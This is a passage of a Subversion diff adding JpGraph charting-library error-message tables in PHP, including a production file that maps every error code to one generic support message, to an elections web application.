+25008 => array('Image width/height argument in Graph::Graph() must be numeric',0),
+25009 => array('You must specify what scale to use with a call to Graph::SetScale()',0),
+
+25010 => array('Graph::Add() You tried to add a null plot to the graph.',0),
+25011 => array('Graph::AddY2() You tried to add a null plot to the graph.',0), 
+25012 => array('Graph::AddYN() You tried to add a null plot to the graph.',0), 
+25013 => array('You can only add standard plots to multiple Y-axis',0),
+25014 => array('Graph::AddText() You tried to add a null text to the graph.',0), 
+25015 => array('Graph::AddLine() You tried to add a null line to the graph.',0), 
+25016 => array('Graph::AddBand() You tried to add a null band to the graph.',0),
+25017 => array('You are using GD 2.x and are trying to use a background images on a non truecolor image. To use background images with GD 2.x it is necessary to enable truecolor by setting the USE_TRUECOLOR constant to TRUE. Due to a bug in GD 2.0.1 using any truetype fonts with truecolor images will result in very poor quality fonts.',0),
+25018 => array('Incorrect file name for Graph::SetBackgroundImage() : "%s" Must have a valid image extension (jpg,gif,png) when using auto detection of image type',1),
+25019 => array('Unknown file extension (%s) in Graph::SetBackgroundImage() for filename: "%s"',2),
+
+25020 => array('Graph::SetScale(): Specified Max value must be larger than the specified Min value.',0),
+25021 => array('Unknown scale specification for Y-scale. (%s)',1),
+25022 => array('Unknown scale specification for X-scale. (%s)',1),
+25023 => array('Unsupported Y2 axis type: "%s" Must be one of (lin,log,int)',1),
+25024 => array('Unsupported Y axis type:  "%s" Must be one of (lin,log,int)',1),
+25025 => array('Unsupported Tick density: %d',1),
+25026 => array('Can\'t draw unspecified Y-scale. You have either: 1. Specified an Y axis for auto scaling but have not supplied any plots. 2. Specified a scale manually but have forgot to specify the tick steps',0),
+25027 => array('Can\'t open cached CSIM "%s" for reading.',1),
+25028 => array('Apache/PHP does not have permission to write to the CSIM cache directory (%s). Check permissions.',1),
+25029 => array('Can\'t write CSIM "%s" for writing. Check free space and permissions.',1),
+
+25030 => array('Missing script name in call to StrokeCSIM(). You must specify the name of the actual image script as the first parameter to StrokeCSIM().',0),
+25031 => array('You must specify what scale to use with a call to Graph::SetScale().',0),
+25032 => array('No plots for Y-axis nbr:%d',1),
+25033 => array('',0),
+25034 => array('Can\'t draw unspecified X-scale. No plots specified.',0),
+25035 => array('You have enabled clipping. Clipping is only supported for graphs at 0 or 90 degrees rotation. Please adjust you current angle (=%d degrees) or disable clipping.',1),
+25036 => array('Unknown AxisStyle() : %s',1),
+25037 => array('The image format of your background image (%s) is not supported in your system configuration. ',1),
+25038 => array('Background image seems to be of different type (has different file extension) than specified imagetype. Specified: %s File: %s',2),
+25039 => array('Can\'t read background image: "%s"',1), 
+
+25040 => array('It is not possible to specify both a background image and a background country flag.',0),
+25041 => array('In order to use Country flags as backgrounds you must include the "jpgraph_flags.php" file.',0),
+25042 => array('Unknown background image layout',0),
+25043 => array('Unknown title background style.',0),
+25044 => array('Cannot use auto scaling since it is impossible to determine a valid min/max value of the Y-axis (only null values).',0),
+25045 => array('Font families FF_HANDWRT and FF_BOOK are no longer available due to copyright problem with these fonts. Fonts can no longer be distributed with JpGraph. Please download fonts from http://corefonts.sourceforge.net/',0),
+25046 => array('Specified TTF font family (id=%d) is unknown or does not exist. Please note that TTF fonts are not distributed with JpGraph for copyright reasons. You can find the MS TTF WEB-fonts (arial, courier etc) for download at http://corefonts.sourceforge.net/',1),
+25047 => array('Style %s is not available for font family %s',2),
+25048 => array('Unknown font style specification [%s].',1),
+25049 => array('Font file "%s" is not readable or does not exist.',1),
+
+25050 => array('First argument to Text::Text() must be a string.',0),
+25051 => array('Invalid direction specified for text.',0),
+25052 => array('PANIC: Internal error in SuperScript::Stroke(). Unknown vertical alignment for text',0),
+25053 => array('PANIC: Internal error in SuperScript::Stroke(). Unknown horizontal alignment for text',0),
+25054 => array('Internal error: Unknown grid axis %s',1),
+25055 => array('Axis::SetTickDirection() is deprecated. Use Axis::SetTickSide() instead',0),
+25056 => array('SetTickLabelMargin() is deprecated. Use Axis::SetLabelMargin() instead.',0),
+25057 => array('SetTextTicks() is deprecated. Use SetTextTickInterval() instead.',0), 
+25058 => array('Text label interval must be specified >= 1.',0),
+25059 => array('SetLabelPos() is deprecated. Use Axis::SetLabelSide() instead.',0),
+
+25060 => array('Unknown alignment specified for X-axis title. (%s)',1),
+25061 => array('Unknown alignment specified for Y-axis title. (%s)',1),
+25062 => array('Labels at an angle are not supported on Y-axis',0),
+25063 => array('Ticks::SetPrecision() is deprecated. Use Ticks::SetLabelFormat() (or Ticks::SetFormatCallback()) instead',0),
+25064 => array('Minor or major step size is 0. Check that you haven\'t got an accidental SetTextTicks(0) in your code. If this is not the case you might have stumbled upon a bug in JpGraph. Please report this and if possible include the data that caused the problem',0),
+25065 => array('Tick positions must be specified as an array()',0),
+25066 => array('When manually specifying tick positions and labels the number of labels must be the same as the number of specified ticks.',0),
+25067 => array('Your manually specified scale and ticks is not correct. The scale seems to be too small to hold any of the specified tick marks.',0),
+25068 => array('A plot has an illegal scale. This could for example be that you are trying to use text auto scaling to draw a line plot with only one point or that the plot area is too small. It could also be that no input data value is numeric (perhaps only \'-\' or \'x\')',0),
+25069 => array('Grace must be larger then 0',0),
+25070 => array('Either X or Y data arrays contains non-numeric values. Check that the data is really specified as numeric data and not as strings. It is an error to specify data for example as \'-2345.2\' (using quotes).',0),
+25071 => array('You have specified a min value with SetAutoMin() which is larger than the maximum value used for the scale. This is not possible.',0),
+25072 => array('You have specified a max value with SetAutoMax() which is smaller than the minimum value used for the scale. This is not possible.',0),
+25073 => array('Internal error. Integer scale algorithm comparison out of bound (r=%f)',1),
+25074 => array('Internal error. The scale range is negative (%f) [for %s scale] This problem could potentially be caused by trying to use \"illegal\" values in the input data arrays (like trying to send in strings or only NULL values) which causes the auto scaling to fail.',2),
+25075 => array('Can\'t automatically determine ticks since min==max.',0),
+25077 => array('Adjustment factor for color must be > 0',0),
+25078 => array('Unknown color: %s',1),
+25079 => array('Unknown color specification: %s, size=%d',2),
+
+25080 => array('Alpha parameter for color must be between 0.0 and 1.0',0),
+25081 => array('Selected graphic format is either not supported or unknown [%s]',1),
+25082 => array('Illegal sizes specified for width or height when creating an image, (width=%d, height=%d)',2),
+25083 => array('Illegal image size when copying image. Size for copied to image is 1 pixel or less.',0),
+25084 => array('Failed to create temporary GD canvas. Possible Out of memory problem.',0),
+25085 => array('An image can not be created from the supplied string. It is either in a format not supported or the string is representing an corrupt image.',0),
+25086 => array('You only seem to have GD 1.x installed. To enable Alphablending requires GD 2.x or higher. Please install GD or make sure the constant USE_GD2 is specified correctly to reflect your installation. By default it tries to auto detect what version of GD you have installed. On some very rare occasions it may falsely detect GD2 where only GD1 is installed. You must then set USE_GD2 to false.',0),
+25087 => array('This PHP build has not been configured with TTF support. You need to recompile your PHP installation with FreeType support.',0),
+25088 => array('You have a misconfigured GD font support. The call to imagefontwidth() fails.',0),
+25089 => array('You have a misconfigured GD font support. The call to imagefontheight() fails.',0),
+
+25090 => array('Unknown direction specified in call to StrokeBoxedText() [%s]',1),
+25091 => array('Internal font does not support drawing text at arbitrary angle. Use TTF fonts instead.',0),
+25092 => array('There is either a configuration problem with TrueType or a problem reading font file "%s" Make sure file exists and is in a readable place for the HTTP process. (If \'basedir\' restriction is enabled in PHP then the font file must be located in the document root.). It might also be a wrongly installed FreeType library. Try upgrading to at least FreeType 2.1.13 and recompile GD with the correct setup so it can find the new FT library.',1),
+25093 => array('Can not read font file "%s" in call to Image::GetBBoxTTF. Please make sure that you have set a font before calling this method and that the font is installed in the TTF directory.',1),
+25094 => array('Direction for text most be given as an angle between 0 and 90.',0),
+25095 => array('Unknown font font family specification. ',0),
+25096 => array('Can\'t allocate any more colors in palette image. Image has already allocated maximum of %d colors and the palette  is now full. Change to a truecolor image instead',0),
+25097 => array('Color specified as empty string in PushColor().',0),
+25098 => array('Negative Color stack index. Unmatched call to PopColor()',0),
+25099 => array('Parameters for brightness and Contrast out of range [-1,1]',0), 
+
+25100 => array('Problem with color palette and your GD setup. Please disable anti-aliasing or use GD2 with true-color. If you have GD2 library installed please make sure that you have set the USE_GD2 constant to true and truecolor is enabled.',0),
+25101 => array('Illegal numeric argument to SetLineStyle(): (%d)',1),
+25102 => array('Illegal string argument to SetLineStyle(): %s',1),
+25103 => array('Illegal argument to SetLineStyle %s',1),
+25104 => array('Unknown line style: %s',1),
+25105 => array('NULL data specified for a filled polygon. Check that your data is not NULL.',0),
+25106 => array('Image::FillToBorder : Can not allocate more colors',0),
+25107 => array('Can\'t write to file "%s". Check that the process running PHP has enough permission.',1),
+25108 => array('Can\'t stream image. This is most likely due to a faulty PHP/GD setup. Try to recompile PHP and use the built-in GD library that comes with PHP.',0),
+25109 => array('Your PHP (and GD-lib) installation does not appear to support any known graphic formats. You need to first make sure GD is compiled as a module to PHP. If you also want to use JPEG images you must get the JPEG library. Please see the PHP docs for details.',0),
+
+25110 => array('Your PHP installation does not support the chosen graphic format: %s',1),
+25111 => array('Can\'t delete cached image %s. Permission problem?',1),
+25112 => array('Cached imagefile (%s) has file date in the future.',1),
+25113 => array('Can\'t delete cached image "%s". Permission problem?',1),
+25114 => array('PHP has not enough permissions to write to the cache file "%s". Please make sure that the user running PHP has write permission for this file if you wan to use the cache system with JpGraph.',1),
+25115 => array('Can\'t set permission for cached image "%s". Permission problem?',1),
+25116 => array('Cant open file from cache "%s"',1), 
+25117 => array('Can\'t open cached image "%s" for reading.',1),
+25118 => array('Can\'t create directory "%s". Make sure PHP has write permission to this directory.',1),
+25119 => array('Can\'t set permissions for "%s". Permission problems?',1),
+
+25120 => array('Position for legend must be given as percentage in range 0-1',0),
+25121 => array('Empty input data array specified for plot. Must have at least one data point.',0),
+25122 => array('Stroke() must be implemented by concrete subclass to class Plot',0),
+25123 => array('You can\'t use a text X-scale with specified X-coords. Use a "int" or "lin" scale instead.',0),
+25124 => array('The input data array must have consecutive values from position 0 and forward. The given y-array starts with empty values (NULL)',0),
+25125 => array('Illegal direction for static line',0),
+25126 => array('Can\'t create truecolor image. Check that the GD2 library is properly setup with PHP.',0),
+25127 => array('The library has been configured for automatic encoding conversion of Japanese fonts. This requires that PHP has the mb_convert_encoding() function. Your PHP installation lacks this function (PHP needs the "--enable-mbstring" when compiled).',0),
+25128 => array('The function imageantialias() is not available in your PHP installation. Use the GD version that comes with PHP and not the standalone version.',0),
+25129 => array('Anti-alias can not be used with dashed lines. Please disable anti-alias or use solid lines.',0),
+
+
+/*
+**---------------------------------------------------------------------------------------------
+** Pro-version strings
+**---------------------------------------------------------------------------------------------
+*/
+
+/*
+**  jpgraph_table 
+*/
+
+27001 => array('GTextTable: Invalid argument to Set(). Array argument must be 2 dimensional',0),
+27002 => array('GTextTable: Invalid argument to Set()',0),
+27003 => array('GTextTable: Wrong number of arguments to GTextTable::SetColor()',0),
+27004 => array('GTextTable: Specified cell range to be merged is not valid.',0),
+27005 => array('GTextTable: Cannot merge already merged cells in the range: (%d,%d) to (%d,%d)',4),
+27006 => array('GTextTable: Column argument = %d is outside specified table size.',1),
+27007 => array('GTextTable: Row argument = %d is outside specified table size.',1),
+27008 => array('GTextTable: Column and row size arrays must match the dimensions of the table',0),
+27009 => array('GTextTable: Number of table columns or rows are 0. Make sure Init() or Set() is called.',0),
+27010 => array('GTextTable: No alignment specified in call to SetAlign()',0),
+27011 => array('GTextTable: Unknown alignment specified in SetAlign(). Horizontal=%s, Vertical=%s',2),
+27012 => array('GTextTable: Internal error. Invalid alignment specified =%s',1),
+27013 => array('GTextTable: Argument to FormatNumber() must be a string.',0),
+27014 => array('GTextTable: Table is not initilaized with either a call to Set() or Init()',0),
+27015 => array('GTextTable: Cell image constrain type must be TIMG_WIDTH or TIMG_HEIGHT',0),
+
+/*
+**  jpgraph_windrose
+*/
+
+22001 => array('Total percentage for all windrose legs in a windrose plot can not exceed 100%% !\n(Current max is: %d)',1),
+22002 => array('Graph is too small to have a scale. Please make the graph larger.',0),
+22004 => array('Label specification for windrose directions must have 16 values (one for each compass direction).',0),
+22005 => array('Line style for radial lines must be on of ("solid","dotted","dashed","longdashed") ',0),
+22006 => array('Illegal windrose type specified.',0),
+22007 => array('To few values for the range legend.',0),
+22008 => array('Internal error: Trying to plot free Windrose even though type is not a free windrose',0),
+22009 => array('You have specified the same direction twice, once with an angle and once with a compass direction (%f degrees)',0),
+22010 => array('Direction must either be a numeric value or one of the 16 compass directions',0),
+22011 => array('Windrose index must be numeric or direction label. You have specified index=%d',1),
+22012 => array('Windrose radial axis specification contains a direction which is not enabled.',0),
+22013 => array('You have specified the look&feel for the same compass direction twice, once with text and once with index (Index=%d)',1),
+22014 => array('Index for compass direction must be between 0 and 15.',0),
+22015 => array('You have specified an undefined Windrose plot type.',0),
+22016 => array('Windrose leg index must be numeric or direction label.',0),
+22017 => array('Windrose data contains a direction which is not enabled. Please adjust what labels are displayed.',0),
+22018 => array('You have specified data for the same compass direction twice, once with text and once with index (Index=%d)',1),
+22019 => array('Index for direction must be between 0 and 15. You can\'t specify angles for a Regular Windplot, only index and compass directions.',0),
+22020 => array('Windrose plot is too large to fit the specified Graph size. Please use WindrosePlot::SetSize() to make the plot smaller or increase the size of the Graph in the initial WindroseGraph() call.',0),
+22021 => array('It is only possible to add Text, IconPlot or WindrosePlot to a Windrose Graph',0),
+/*
+**  jpgraph_odometer
+*/
+
+13001 => array('Unknown needle style (%d).',1),
+13002 => array('Value for odometer (%f) is outside specified scale [%f,%f]',3),
+
+/*
+**  jpgraph_barcode
+*/
+
+1001 => array('Unknown encoder specification: %s',1),
+1002 => array('Data validation failed. Can\'t encode [%s] using encoding "%s"',2),
+1003 => array('Internal encoding error. Trying to encode %s is not possible in Code 128',1),
+1004 => array('Internal barcode error. Unknown UPC-E encoding type: %s',1),
+1005 => array('Internal error. Can\'t encode character tuple (%s, %s) in Code-128 charset C',2),
+1006 => array('Internal encoding error for CODE 128. Trying to encode control character in CHARSET != A',0),
+1007 => array('Internal encoding error for CODE 128. Trying to encode DEL in CHARSET != B',0),
+1008 => array('Internal encoding error for CODE 128. Trying to encode small letters in CHARSET != B',0),
+1009 => array('Encoding using CODE 93 is not yet supported.',0),
+1010 => array('Encoding using POSTNET is not yet supported.',0),
+1011 => array('Non supported barcode backend for type %s',1),
+
+/*
+** PDF417
+*/
+
+26001 => array('PDF417: Number of Columns must be >= 1 and <= 30',0),
+26002 => array('PDF417: Error level must be between 0 and 8',0),
+26003 => array('PDF417: Invalid format for input data to encode with PDF417',0),
+26004 => array('PDF417: Can\'t encode given data with error level %d and %d columns since it results in too many symbols or more than 90 rows.',2),
+26005 => array('PDF417: Can\'t open file "%s" for writing',1),
+26006 => array('PDF417: Internal error. Data files for PDF417 cluster %d is corrupted.',1),
+26007 => array('PDF417: Internal error. GetPattern: Illegal Code Value = %d (row=%d)',2),
+26008 => array('PDF417: Internal error. Mode not found in mode list!! mode=%d',1),
+26009 => array('PDF417: Encode error: Illegal character. Can\'t encode character with ASCII code=%d',1),
+26010 => array('PDF417: Internal error: No input data in decode.',0),
+26011 => array('PDF417: Encoding error. Can\'t use numeric encoding on non-numeric data.',0),
+26012 => array('PDF417: Internal error. No input data to decode for Binary compressor.',0),
+26013 => array('PDF417: Internal error. Checksum error. Coefficient tables corrupted.',0),
+26014 => array('PDF417: Internal error. No data to calculate codewords on.',0),
+26015 => array('PDF417: Internal error. State transition table entry 0 is NULL. Entry 1 = (%s)',1),
+26016 => array('PDF417: Internal error: Unrecognized state transition mode in decode.',0),
+
+
+);
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/lang/prod.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/lang/prod.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/lang/prod.inc.php	(revision 44)
@@ -0,0 +1,357 @@
+<?php
+/*=======================================================================
+// File: 	PROD.INC.PHP
+// Description: Special localization file with the same error messages 
+//              for all errors.
+// Created: 	2006-02-18
+// Ver:		$Id: prod.inc.php 993 2008-03-30 21:17:41Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+// The single error message for all errors
+DEFINE('DEFAULT_ERROR_MESSAGE','We are sorry but the system could not generate the requested image. Please contact site support to resolve this problem. Problem no: #');
+
+// Note: Format of each error message is array(<error message>,<number of arguments>)
+$_jpg_messages = array(
+
+/*
+** Headers already sent error. This is formatted as HTML different since this will be sent back directly as text
+*/
+10  => array('<table border=1><tr><td><font color=darkred size=4><b>JpGraph Error:</b> 
+HTTP headers have already been sent.<br>Caused by output from file <b>%s</b> at line <b>%d</b>.</font></td></tr><tr><td><b>Explanation:</b><br>HTTP headers have already been sent back to the browser indicating the data as text before the library got a chance to send it\'s image HTTP header to this browser. This makes it impossible for the library to send back image data to the browser (since that would be interpretated as text by the browser and show up as junk text).<p>Most likely you have some text in your script before the call to <i>Graph::Stroke()</i>. If this texts gets sent back to the browser the browser will assume that all data is plain text. Look for any text, even spaces and newlines, that might have been sent back to the browser. <p>For example it is a common mistake to leave a blank line before the opening "<b>&lt;?php</b>".</td></tr></table>',2),
+
+
+11 => array(DEFAULT_ERROR_MESSAGE.'11',0),
+12 => array(DEFAULT_ERROR_MESSAGE.'12',0),
+13 => array(DEFAULT_ERROR_MESSAGE.'13',0),
+2001 => array(DEFAULT_ERROR_MESSAGE.'2001',0),
+2002 => array(DEFAULT_ERROR_MESSAGE.'2002',0),
+2003 => array(DEFAULT_ERROR_MESSAGE.'2003',0),
+2004 => array(DEFAULT_ERROR_MESSAGE.'2004',0),
+2005 => array(DEFAULT_ERROR_MESSAGE.'2005',0),
+2006 => array(DEFAULT_ERROR_MESSAGE.'2006',0),
+2007 => array(DEFAULT_ERROR_MESSAGE.'2007',0),
+2008 => array(DEFAULT_ERROR_MESSAGE.'2008',0),
+2009 => array(DEFAULT_ERROR_MESSAGE.'2009',0),
+2010 => array(DEFAULT_ERROR_MESSAGE.'2010',0),
+2011 => array(DEFAULT_ERROR_MESSAGE.'2011',0),
+2012 => array(DEFAULT_ERROR_MESSAGE.'2012',0),
+2013 => array(DEFAULT_ERROR_MESSAGE.'2013',0),
+2014 => array(DEFAULT_ERROR_MESSAGE.'2014',0),
+3001 => array(DEFAULT_ERROR_MESSAGE.'3001',0),
+4002 => array(DEFAULT_ERROR_MESSAGE.'4002',0),
+5001 => array(DEFAULT_ERROR_MESSAGE.'5001',0),
+5002 => array(DEFAULT_ERROR_MESSAGE.'5002',0),
+5003 => array(DEFAULT_ERROR_MESSAGE.'5003',0),
+5004 => array(DEFAULT_ERROR_MESSAGE.'5004',0),
+6001 => array(DEFAULT_ERROR_MESSAGE.'6001',0),
+6002 => array(DEFAULT_ERROR_MESSAGE.'6002',0),
+6003 => array(DEFAULT_ERROR_MESSAGE.'6003',0),
+6004 => array(DEFAULT_ERROR_MESSAGE.'6004',0),
+6005 => array(DEFAULT_ERROR_MESSAGE.'6005',0),
+6006 => array(DEFAULT_ERROR_MESSAGE.'6006',0),
+6007 => array(DEFAULT_ERROR_MESSAGE.'6007',0),
+6008 => array(DEFAULT_ERROR_MESSAGE.'6008',0),
+6009 => array(DEFAULT_ERROR_MESSAGE.'6009',0),
+6010 => array(DEFAULT_ERROR_MESSAGE.'6010',0),
+6011 => array(DEFAULT_ERROR_MESSAGE.'6011',0),
+6012 => array(DEFAULT_ERROR_MESSAGE.'6012',0),
+6015 => array(DEFAULT_ERROR_MESSAGE.'6015',0),
+6016 => array(DEFAULT_ERROR_MESSAGE.'6016',0),
+6017 => array(DEFAULT_ERROR_MESSAGE.'6017',0),
+6018 => array(DEFAULT_ERROR_MESSAGE.'6018',0),
+6019 => array(DEFAULT_ERROR_MESSAGE.'6019',0),
+6020 => array(DEFAULT_ERROR_MESSAGE.'6020',0),
+6021 => array(DEFAULT_ERROR_MESSAGE.'6021',0),
+6022 => array(DEFAULT_ERROR_MESSAGE.'6022',0),
+6023 => array(DEFAULT_ERROR_MESSAGE.'6023',0),
+6024 => array(DEFAULT_ERROR_MESSAGE.'6024',0),
+6025 => array(DEFAULT_ERROR_MESSAGE.'6025',0),
+6027 => array(DEFAULT_ERROR_MESSAGE.'6027',0),
+6028 => array(DEFAULT_ERROR_MESSAGE.'6028',0),
+6029 => array(DEFAULT_ERROR_MESSAGE.'6029',0),
+6030 => array(DEFAULT_ERROR_MESSAGE.'6030',0),
+6031 => array(DEFAULT_ERROR_MESSAGE.'6031',0),
+6032 => array(DEFAULT_ERROR_MESSAGE.'6032',0),
+7001 => array(DEFAULT_ERROR_MESSAGE.'7001',0),
+8001 => array(DEFAULT_ERROR_MESSAGE.'8001',0),
+8002 => array(DEFAULT_ERROR_MESSAGE.'8002',0),
+8003 => array(DEFAULT_ERROR_MESSAGE.'8003',0),
+8004 => array(DEFAULT_ERROR_MESSAGE.'8004',0),
+9001 => array(DEFAULT_ERROR_MESSAGE.'9001',0),
+10001 => array(DEFAULT_ERROR_MESSAGE.'10001',0),
+10002 => array(DEFAULT_ERROR_MESSAGE.'10002',0),
+10003 => array(DEFAULT_ERROR_MESSAGE.'10003',0),
+11001 => array(DEFAULT_ERROR_MESSAGE.'11001',0),
+11002 => array(DEFAULT_ERROR_MESSAGE.'11002',0),
+11003 => array(DEFAULT_ERROR_MESSAGE.'11003',0),
+11004 => array(DEFAULT_ERROR_MESSAGE.'11004',0),
+11005 => array(DEFAULT_ERROR_MESSAGE.'11005',0),
+12001 => array(DEFAULT_ERROR_MESSAGE.'12001',0),
+12002 => array(DEFAULT_ERROR_MESSAGE.'12002',0),
+12003 => array(DEFAULT_ERROR_MESSAGE.'12003',0),
+12004 => array(DEFAULT_ERROR_MESSAGE.'12004',0),
+12005 => array(DEFAULT_ERROR_MESSAGE.'12005',0),
+12006 => array(DEFAULT_ERROR_MESSAGE.'12006',0),
+12007 => array(DEFAULT_ERROR_MESSAGE.'12007',0),
+12008 => array(DEFAULT_ERROR_MESSAGE.'12008',0),
+12009 => array(DEFAULT_ERROR_MESSAGE.'12009',0),
+12010 => array(DEFAULT_ERROR_MESSAGE.'12010',0),
+12011 => array(DEFAULT_ERROR_MESSAGE.'12011',0),
+12012 => array(DEFAULT_ERROR_MESSAGE.'12012',0),
+14001 => array(DEFAULT_ERROR_MESSAGE.'14001',0),
+14002 => array(DEFAULT_ERROR_MESSAGE.'14002',0),
+14003 => array(DEFAULT_ERROR_MESSAGE.'14003',0),
+14004 => array(DEFAULT_ERROR_MESSAGE.'14004',0),
+14005 => array(DEFAULT_ERROR_MESSAGE.'14005',0),
+14006 => array(DEFAULT_ERROR_MESSAGE.'14006',0),
+14007 => array(DEFAULT_ERROR_MESSAGE.'14007',0),
+15001 => array(DEFAULT_ERROR_MESSAGE.'15001',0),
+15002 => array(DEFAULT_ERROR_MESSAGE.'15002',0),
+15003 => array(DEFAULT_ERROR_MESSAGE.'15003',0),
+15004 => array(DEFAULT_ERROR_MESSAGE.'15004',0),
+15005 => array(DEFAULT_ERROR_MESSAGE.'15005',0),
+15006 => array(DEFAULT_ERROR_MESSAGE.'15006',0),
+15007 => array(DEFAULT_ERROR_MESSAGE.'15007',0),
+15008 => array(DEFAULT_ERROR_MESSAGE.'15008',0),
+15009 => array(DEFAULT_ERROR_MESSAGE.'15009',0),
+15010 => array(DEFAULT_ERROR_MESSAGE.'15010',0),
+15011 => array(DEFAULT_ERROR_MESSAGE.'15011',0),
+16001 => array(DEFAULT_ERROR_MESSAGE.'16001',0),
+16002 => array(DEFAULT_ERROR_MESSAGE.'16002',0),
+16003 => array(DEFAULT_ERROR_MESSAGE.'16003',0),
+16004 => array(DEFAULT_ERROR_MESSAGE.'16004',0),
+17001 => array(DEFAULT_ERROR_MESSAGE.'17001',0),
+17002 => array(DEFAULT_ERROR_MESSAGE.'17002',0),
+17004 => array(DEFAULT_ERROR_MESSAGE.'17004',0),
+18001 => array(DEFAULT_ERROR_MESSAGE.'18001',0),
+18002 => array(DEFAULT_ERROR_MESSAGE.'18002',0),
+18003 => array(DEFAULT_ERROR_MESSAGE.'18003',0),
+18004 => array(DEFAULT_ERROR_MESSAGE.'18004',0),
+18005 => array(DEFAULT_ERROR_MESSAGE.'18005',0),
+18006 => array(DEFAULT_ERROR_MESSAGE.'18006',0),
+18007 => array(DEFAULT_ERROR_MESSAGE.'18007',0),
+18008 => array(DEFAULT_ERROR_MESSAGE.'18008',0),
+19001 => array(DEFAULT_ERROR_MESSAGE.'19001',0),
+19002 => array(DEFAULT_ERROR_MESSAGE.'19002',0),
+19003 => array(DEFAULT_ERROR_MESSAGE.'19003',0),
+20001 => array(DEFAULT_ERROR_MESSAGE.'20001',0),
+20002 => array(DEFAULT_ERROR_MESSAGE.'20002',0),
+20003 => array(DEFAULT_ERROR_MESSAGE.'20003',0),
+21001 => array(DEFAULT_ERROR_MESSAGE.'21001',0),
+23001 => array(DEFAULT_ERROR_MESSAGE.'23001',0),
+23002 => array(DEFAULT_ERROR_MESSAGE.'23002',0),
+23003 => array(DEFAULT_ERROR_MESSAGE.'23003',0),
+24001 => array(DEFAULT_ERROR_MESSAGE.'24001',0),
+24002 => array(DEFAULT_ERROR_MESSAGE.'24002',0),
+24003 => array(DEFAULT_ERROR_MESSAGE.'24003',0),
+25001 => array(DEFAULT_ERROR_MESSAGE.'25001',0),
+25002 => array(DEFAULT_ERROR_MESSAGE.'25002',0),
+25003 => array(DEFAULT_ERROR_MESSAGE.'25003',0),
+25004 => array(DEFAULT_ERROR_MESSAGE.'25004',0),
+25005 => array(DEFAULT_ERROR_MESSAGE.'25005',0),
+25006 => array(DEFAULT_ERROR_MESSAGE.'25006',0),
+25007 => array(DEFAULT_ERROR_MESSAGE.'25007',0),
+25008 => array(DEFAULT_ERROR_MESSAGE.'25008',0),
+25009 => array(DEFAULT_ERROR_MESSAGE.'25009',0),
+25010 => array(DEFAULT_ERROR_MESSAGE.'25010',0),
+25011 => array(DEFAULT_ERROR_MESSAGE.'25011',0),
+25012 => array(DEFAULT_ERROR_MESSAGE.'25012',0),
+25013 => array(DEFAULT_ERROR_MESSAGE.'25013',0),
+25014 => array(DEFAULT_ERROR_MESSAGE.'25014',0),
+25015 => array(DEFAULT_ERROR_MESSAGE.'25015',0),
+25016 => array(DEFAULT_ERROR_MESSAGE.'25016',0),
+25017 => array(DEFAULT_ERROR_MESSAGE.'25017',0),
+25018 => array(DEFAULT_ERROR_MESSAGE.'25018',0),
+25019 => array(DEFAULT_ERROR_MESSAGE.'25019',0),
+25020 => array(DEFAULT_ERROR_MESSAGE.'25020',0),
+25021 => array(DEFAULT_ERROR_MESSAGE.'25021',0),
+25022 => array(DEFAULT_ERROR_MESSAGE.'25022',0),
+25023 => array(DEFAULT_ERROR_MESSAGE.'25023',0),
+25024 => array(DEFAULT_ERROR_MESSAGE.'25024',0),
+25025 => array(DEFAULT_ERROR_MESSAGE.'25025',0),
+25026 => array(DEFAULT_ERROR_MESSAGE.'25026',0),
+25027 => array(DEFAULT_ERROR_MESSAGE.'25027',0),
+25028 => array(DEFAULT_ERROR_MESSAGE.'25028',0),
+25029 => array(DEFAULT_ERROR_MESSAGE.'25029',0),
+25030 => array(DEFAULT_ERROR_MESSAGE.'25030',0),
+25031 => array(DEFAULT_ERROR_MESSAGE.'25031',0),
+25032 => array(DEFAULT_ERROR_MESSAGE.'25032',0),
+25033 => array(DEFAULT_ERROR_MESSAGE.'25033',0),
+25034 => array(DEFAULT_ERROR_MESSAGE.'25034',0),
+25035 => array(DEFAULT_ERROR_MESSAGE.'25035',0),
+25036 => array(DEFAULT_ERROR_MESSAGE.'25036',0),
+25037 => array(DEFAULT_ERROR_MESSAGE.'25037',0),
+25038 => array(DEFAULT_ERROR_MESSAGE.'25038',0),
+25039 => array(DEFAULT_ERROR_MESSAGE.'25039',0),
+25040 => array(DEFAULT_ERROR_MESSAGE.'25040',0),
+25041 => array(DEFAULT_ERROR_MESSAGE.'25041',0),
+25042 => array(DEFAULT_ERROR_MESSAGE.'25042',0),
+25043 => array(DEFAULT_ERROR_MESSAGE.'25043',0),
+25044 => array(DEFAULT_ERROR_MESSAGE.'25044',0),
+25045 => array(DEFAULT_ERROR_MESSAGE.'25045',0),
+25046 => array(DEFAULT_ERROR_MESSAGE.'25046',0),
+25047 => array(DEFAULT_ERROR_MESSAGE.'25047',0),
+25048 => array(DEFAULT_ERROR_MESSAGE.'25048',0),
+25049 => array(DEFAULT_ERROR_MESSAGE.'25049',0),
+25050 => array(DEFAULT_ERROR_MESSAGE.'25050',0),
+25051 => array(DEFAULT_ERROR_MESSAGE.'25051',0),
+25052 => array(DEFAULT_ERROR_MESSAGE.'25052',0),
+25053 => array(DEFAULT_ERROR_MESSAGE.'25053',0),
+25054 => array(DEFAULT_ERROR_MESSAGE.'25054',0),
+25055 => array(DEFAULT_ERROR_MESSAGE.'25055',0),
+25056 => array(DEFAULT_ERROR_MESSAGE.'25056',0),
+25057 => array(DEFAULT_ERROR_MESSAGE.'25057',0),
+25058 => array(DEFAULT_ERROR_MESSAGE.'25058',0),
+25059 => array(DEFAULT_ERROR_MESSAGE.'25059',0),
+25060 => array(DEFAULT_ERROR_MESSAGE.'25060',0),
+25061 => array(DEFAULT_ERROR_MESSAGE.'25061',0),
+25062 => array(DEFAULT_ERROR_MESSAGE.'25062',0),
+25063 => array(DEFAULT_ERROR_MESSAGE.'25063',0),
+25064 => array(DEFAULT_ERROR_MESSAGE.'25064',0),
+25065 => array(DEFAULT_ERROR_MESSAGE.'25065',0),
+25066 => array(DEFAULT_ERROR_MESSAGE.'25066',0),
+25067 => array(DEFAULT_ERROR_MESSAGE.'25067',0),
+25068 => array(DEFAULT_ERROR_MESSAGE.'25068',0),
+25069 => array(DEFAULT_ERROR_MESSAGE.'25069',0),
+25070 => array(DEFAULT_ERROR_MESSAGE.'25070',0),
